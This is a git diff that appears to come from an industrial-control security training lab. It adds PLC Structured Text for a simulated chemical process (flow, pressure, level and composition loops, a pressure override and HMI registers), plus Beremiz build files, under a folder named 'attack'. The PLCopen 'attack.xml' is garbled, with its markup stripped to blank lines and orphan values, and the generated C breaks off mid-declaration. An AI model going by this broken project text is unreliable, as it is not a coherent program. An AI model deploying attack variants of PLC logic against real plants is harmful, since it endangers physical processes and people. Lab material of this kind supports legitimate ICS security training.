SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR 